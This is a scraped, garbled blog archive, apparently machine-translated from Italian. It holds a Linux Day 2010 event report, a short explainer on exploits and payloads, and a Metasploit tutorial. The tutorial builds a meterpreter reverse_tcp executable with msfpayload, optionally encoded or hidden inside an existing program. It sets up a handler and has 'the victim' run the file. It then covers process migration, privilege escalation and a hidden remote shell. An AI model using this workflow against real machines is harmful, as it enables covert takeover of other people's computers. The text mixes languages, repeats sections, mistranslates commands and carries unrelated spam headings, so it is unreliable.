EVENTS: Linux Day 2010
Hello, I apologize (as always) for the long interval between an item and there was another! How many of you know October 23, 2010 (now =)) Took the Linux Day in Modena, are unfortunately not able to go to Modena (already was convince my parents to wake up at 7:00 on Saturday), however, are able to go to that held in Rome.
Saturday, October 23, 2010
Chicken Pox Virus Life Span
I and "Dexter" we inconrati to "LaSapienza" (university of Rome, where the event took place), after long waits, Dexter is presented, with a slight late (until 10:15 or so), but obviously I expected it had time to follow an event that began at 10:00: "Open Source and Distributed Systems" who was held by "John Desire;
Secondo Richard Stallman* e la FSF** un software può essere considerato Open Source solo se garantisce le 4 libertà fondamentali: - Giorgio Desideri,oltre ad essere riuscito a dare una panoramica completa sull'Open Source*,ci ha spiegato i vantaggi dei sistemi Open Source... Ovviamente tra tutti i vantaggi c'era anche la sicurezza! * Open Source: Software Libero,deriva dall'inglese "open"(=libero,aperto) e "source"(=codice,sorgente).
- Vorrei approfondire un pò questo argomento: L'Open Source è un "insieme" di libertà che un utente ha su un software/hardware,se avete notato ho detto anche hardware:perchè?
- Perchè l'hardware è un'aspetto importantissimo per l'informatica e,al contrario di come molte persone pensano,è possibile renderlo Open Source(prendiamo come esempio l' Arduino ); Quindi possiamo dire che l'Open Source ha come libertà principali: Libertà di distribuzione: è possibile distribuire il software gratuitamente e senza aver bisogno di licenze(o quasi)!
- Libertà di modificare: è infatti possibile avere libero accesso al codice sorgente di tutti i programmi "Open Source" e adattarlo alle nostre esigenze; freedom to run: fact you can run the program for any work purpose (educational, recreational, etc. ..); You will notice that the first point I put in brackets a "or so", why?
- Because even if the software is "free" should be subject to some constraints: The previous authors of the software should also be mentioned in the "retouched" for the software, You can not apply a license ' incompatible use with the original license: or which contravenes the rules of its license, even if the software has been altered Normally, in licenza, vi è una clausola che sancisce la non usabilità del software se non si rispetta la licenza d'uso o se una o più norme della stessa licenza non sono valide per termini di legge;
Libertà 0: Libertà di eseguire il programma per qualsiasi scopo; Libertà 1:
Libertà di studiare il programma e modificarlo; Freedom 2:
Freedom to redistribute copies so you can help your neighbor Freedom 3:
freedom to improve the planning and allocating public improvements, so that the whole community benefits;
** Click here!
* Richard Stallman:
is a programmer / hacker and uno dei principali esponenti del movimento del software libero.
**
FSF(Free Software Foundation):
una "società" fondata da Richard Stallman che si occupa di eliminare le restrizioni sulla copia, sulla redistribuzione, sulla comprensione e sulla modifica dei programmi per computer. Subito dopo,alle10:35,siamo andati a "DNS:questo sconosciuto" presentatoci da Giuseppe Arrabito che ha illustrato in modo forse un pò troppo "pesante",infatti si è limitato a darci la definizione e a seguire una serie di diapositive con dei testi lunghissimi,ma apparte questo è stato soddisfacente e completo nell'esporre gli argomenti(mentre "Dexter giocava with my laptop on "Blob Metal Soldier (BLOB WARS)).
- who explained in a simple, direct and complete (with some practical demonstrations and some examples) how a" compilation ".
- This is another topic that I apprifondire, because I had "hit" a lot!
- Starting from the beginning when a programmer creates a software to create a code, a code that is written in a programming language, a programming language is the most common C. When you create a source code *, you're not talking "directly" with the machine: in fact, as we know (I think) all the machine only recognizes his language: the language "TRACK" (yes, it is the endless string of 0 and 1).
- is a scheme that makes the idea
- So we can say that when a program is compiled to:
- be written in a language level aldo (can also be written directly in assembly or binary, but is somewhat more complicated, hehehe ...).
- Compilato.Viene translated into assembly.
- is sent to the machine in machine language (= binary).
- ** High-Level:
tutti quei linguaggi di programmazione con una "semplicità" in termini di PAROLE(esempio:C,C++,JAVA,etc...)- ***Basso Livello:
-
- Purtroppo non siamo riusciti ad andare agli "eventi" pomeridiani,quindi abbiamo partecipato solo a questi;
- Spero che troviate utiel questo articolo(anche se più che articolo è il riassunto della giornata di oggi);
Vi ricordo inoltre che,nel caso avessi sbagliato qualunque cosa,è possibile comunicarmelo:provvederò subito(sono ben accetti anche le "recensioni" degli eventi pomeridiani,a cui noi non siamo potuti andare)!
* Source Code:
the program in its "base" only the code.
****Assembly:
è il linguaggio di programmazione più vicino a quello "macchina"(il linguaggio binario).
Sunday, October 10, 2010
What Should My Period Look Like
SAFETY: Use an exploit (MSF)
Nel precedente articolo
cosa sono i payloads.(Finalmente ho trovato un po di tempo per scrivere la guida...ahhh la scuola!) Ricapitoliamo velocemente:
-Payload: the data or the collection of data that is sent to the program / target vulnerable.
Metasploit Framework (MSF).
What is Metasploit? -CONSOLE:utillizzabile in riga di comando.
Così facendo apriamo la console di metasploit framework. nmap -O <indirizzo_ip_bersaglio_locale_es.192.168.0.2>
\u0026lt;indirizzo_ip_bersagio_locale_...> is the IP address of the target (which should be on our network)
OS details: Microsoft Windows SP2/SP3/VISTA/7 (or things like that =)) Service Info: OS: Windows * Sniffer : un'applicazone that captures all packets sent and received by the computer "target"
** OS: Operating System (OS =)
Where: use multi / handler serves to "select" the exploit to use (multi / handler in this case)
September payload windows / meterpreter / reverse_tcp need to "choose" to use the payload show options used to display the options the exploit / payload
Finally we can do is "fill" option and start LHOST * =):
September LHOST 192.168.0.9
used to set our (192.168.0.9 is just one example: put your) local IP address
exploit is to initiate the exploit (yes, just like that)
* LHOST : LocalHost, our computer.
But now we lack the "fundamental": the executable that will allow our computers to access the target computer!
We open a new konsole and type:
. / Msfpayload \u0026lt;percorso_payload(es.windows/meterpreter/reverse_tcp)> LHOST \u0026lt;il_nostro_ip_locale> R = -e x86/shikata_ga_nai -c 5
se vogliamo inserire il "codice malevolo" dentro un eseguibile già esistente,oppure:
./msfpayload <percorso_payload(es.windows/meterpreter/reverse_tcp)> LHOST=<il_nostro_ip_locale> X > E
e poi:
./msfcli <percorso_exploit(es.multi/handler)> payload=<percorso_payload (es.windows/meterpreter/reverse_tcp)> LHOST=<il_nostro_ip_locale> E
se vogliamo creare un eseguibile con dentro il codice malevolo:l'eseguibile non avvierà nessun applicativo,quindi è meno consigliabile da usare =).
Ora,appena finito di creare il file eseguibile(o di inserire il codice dentro un eseguibile già esistente) non ci rimane che far avviare alla vittima il nostro eseguibile,appena fatto ciò,torniamo alla konsole con metasploit framework aperto(quella con msfconsole). Vedremo una cosa del genere:
Ora vi illustrerò alcune potenzialità di meterpreter(il payload da noi utilizzato):
Ok, let's start the explanation! run explorer.exe migrated
shell used to start a shell (but it should be?) And remotely in the background (not visible to the user). I hope has been helpful, the next =)!
Nel precedente articolo
( SICUREZZA:exploits e payloads ) ho spiegato cosa sono gli exploit e
cosa sono i payloads.(Finalmente ho trovato un po di tempo per scrivere la guida...ahhh la scuola!)
-Exploit: code that exploits a vulnerability in a system.
-Payload: the data or the collection of data that is sent to the program / target vulnerable.
In this guide I explain how to use an exploit and a payload, using
backtrack 4
and What is Metasploit?
Metasploit is a project that concerns the security and ensures you are updated on the latest vulnerability, and also allows you to make "test" with its framework.Disponibile for (Linux / Mac / Windows)
Il framework di metasploit è disponibile in:
-WEB:utilizzabile in una comodissima interfaccia(grafica) web.
-GUI(Graphic User Interface):comoda interfaccia grafica. In questa guida utilizzeremo la CONSOLE.
Ricordate che per chi usa backtrack 4 metasploit è pre-installato.
ATTENZIONE!L'AUTORE DELLA GUIDA( - GHEBBO_HCK
- ) NON SI ASSUNE NESSUNA RESPONSABILITA' DELL'USO INAPPROPRIATO DELLE INFORMAZIONI QUI CONTENUTE.
LA GUIDA HA UNO SCOPO ESCUSIVAMENTE INFORMATIVO/DIDATTICO.
Apriamo la konsole e digitiamo: msfconsole
Ora apriamo un'altra konsole e dgitiamo:
lasciamo lavorare nmap....ma cosa sta facendo?
nmap è l'applicazione:uno sniffer* di pacchetti -O option is nmap which identifies the target SO ** \u0026lt;indirizzo_ip_bersagio_locale_...> is the IP address of the target (which should be on our network)
** Just finished verify the OS of the target (this procedure is used unless you know the target OS **).
should also tell you:
Running: Microsoft Windows SP2/SP3/Vista/7 (or something similar =))
** OS: Operating System (OS =)
Now we begin to shape our exploit =).
We should have a screen like before:
Now type:
September payload windows / meterpreter / reverse_tcp need to "choose" to use the payload show options used to display the options the exploit / payload
Finally we can do is "fill" option and start LHOST * =):
September LHOST 192.168.0.9
used to set our (192.168.0.9 is just one example: put your) local IP address
exploit is to initiate the exploit (yes, just like that)
* LHOST : LocalHost, our computer.
But now we lack the "fundamental": the executable that will allow our computers to access the target computer!
. / Msfpayload \u0026lt;percorso_payload(es.windows/meterpreter/reverse_tcp)> LHOST \u0026lt;il_nostro_ip_locale> R = -e x86/shikata_ga_nai -c 5
se vogliamo inserire il "codice malevolo" dentro un eseguibile già esistente,oppure:
./msfpayload <percorso_payload(es.windows/meterpreter/reverse_tcp)> LHOST=<il_nostro_ip_locale> X > E
e poi:
./msfcli <percorso_exploit(es.multi/handler)> payload=<percorso_payload (es.windows/meterpreter/reverse_tcp)> LHOST=<il_nostro_ip_locale> E
se vogliamo creare un eseguibile con dentro il codice malevolo:l'eseguibile non avvierà nessun applicativo,quindi è meno consigliabile da usare =).
Ora,appena finito di creare il file eseguibile(o di inserire il codice dentro un eseguibile già esistente) non ci rimane che far avviare alla vittima il nostro eseguibile,appena fatto ciò,torniamo alla konsole con metasploit framework aperto(quella con msfconsole).
Ora vi illustrerò alcune potenzialità di meterpreter(il payload da noi utilizzato):
is the script that allows you to "migrate" our process (one of our executable file) in another process, in this case "explorer.exe" ... by doing so we avoid the danger of losing the connection as soon as our process is terminated.
getprivs used to obtain administrator privileges
shell used to start a shell (but it should be?) And remotely in the background (not visible to the user). I hope has been helpful, the next =)!
Monday, October 4, 2010
Myth About Inchy Nose Kiss A Fool
SAFETY: SAFETY
I'm sure many of you, surfing the internet, have heard these terms, often joined to words hacking, pentest *, etc. .... We can group the exploits into two broad categories: local and remote.
We begin by defining these two categories:
Local
: are all those exploits that run on your machine.
Remote: The remote exploits are those that may have targeted a user who is not in the same network, such as a LAN network
***.
* Pentest: stands for penetration testing, which is the operational process of assessing the security of a system / network.
*** LAN (Local Access Network): I bet if I say I know it in Italian: local access network (yes, it is the local loop).
an exploit, however, is much more effective with a payload.
) is a runtime, and if we can call it a "mix" between the attack and the code to eseguire.Quindi the payload is (trivially speaking) the data or the ' set of dati che si manda al programma/bersaglio vulnerabile per sfruttare una vulnerabilità(mmm...troppe ripetizioni!) e farne ricavare profitti/benefici/privilegi all'attaccante.
hacker
lo fa per avere accesso ad informazioni a cui è interessato,per avere accesso ad alcuni documenti,etc.. For the AS is a bit more complicated: to create an exploit you must know a programming language and, almost always, the assembly ****, then you need to find / exploit a flaw.
* Runtime: when a program is executed. ** Ownare: term derived from Italianate owned (= possession, which is derived from own = owner) that indicate the "submission" of an attacker.
*** Cracker (or black hat hacker): in short people who are "fun" to compromise a system (crack, English, break =)
**** Assembly: the programming language is closer to the binary (01101111 01101011 00111111, understood not?).
I remind all readers that if there are incorrect terminology, etc ... that you can communicate (I will now!)
Subscribe to:
Posts (Atom)
As always, if I made let me point out a mistake: will fix soon!